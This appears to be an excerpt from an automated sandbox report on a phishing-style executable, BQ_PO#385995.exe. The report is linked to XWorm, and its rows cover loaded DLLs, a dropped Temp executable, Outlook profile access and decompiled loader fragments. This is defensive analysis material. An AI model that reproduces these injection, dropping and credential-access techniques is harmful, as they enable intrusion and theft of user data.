Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: BQ_PO#385995.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: BQ_PO#385995.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: c:\dev\sqlite\dotnet-private\obj\2010\System.Data.SQLite.2010\Release\System.Data.SQLite.pdb source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdb source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdbRSDS source: WER2620.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb` source: WER2620.tmp.dmp.7.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdbSHA256R source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb source: MSBuild.exe, 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdb source: WER2620.tmp.dmp.7.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Helper.SB(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Messages.cs	.Net Code: Memory
Source: 3.2.MSBuild.exe.7240000.2.raw.unpack, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 3.2.MSBuild.exe.7330000.3.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 3.2.MSBuild.exe.7330000.3.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447752B push ebx; iretd	0_2_00007FFD3447756A
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34475601 push eax; ret	0_2_00007FFD344756DB
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34478E9A pushad ; iretd	0_2_00007FFD34478EB9
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447D235 push es; iretd	0_2_00007FFD3447D246
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34472400 push eax; ret	0_2_00007FFD344756DB
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34550002 push esp; retf 4810h	0_2_00007FFD34550312
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_086176B0 pushfd ; iretd	8_2_086176B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B44277 push ebx; ret	11_2_04B442DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B46338 push eax; ret	11_2_04B46341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B42CA5 push 04B807B3h; retf	11_2_04B42CEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B42C5C push 04B807B3h; retf	11_2_04B42CEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B43ACD push ebx; retf	11_2_04B43ADA
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01019C30 push esp; retf 0104h	14_2_01019D55
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06989233 push es; ret	14_2_06989244

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\665C3A84D83DA1955753 97D084DBAF65E0395221928BE84907C5DFC51D8E0B9D8C8CAD659E49E821BD61

Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
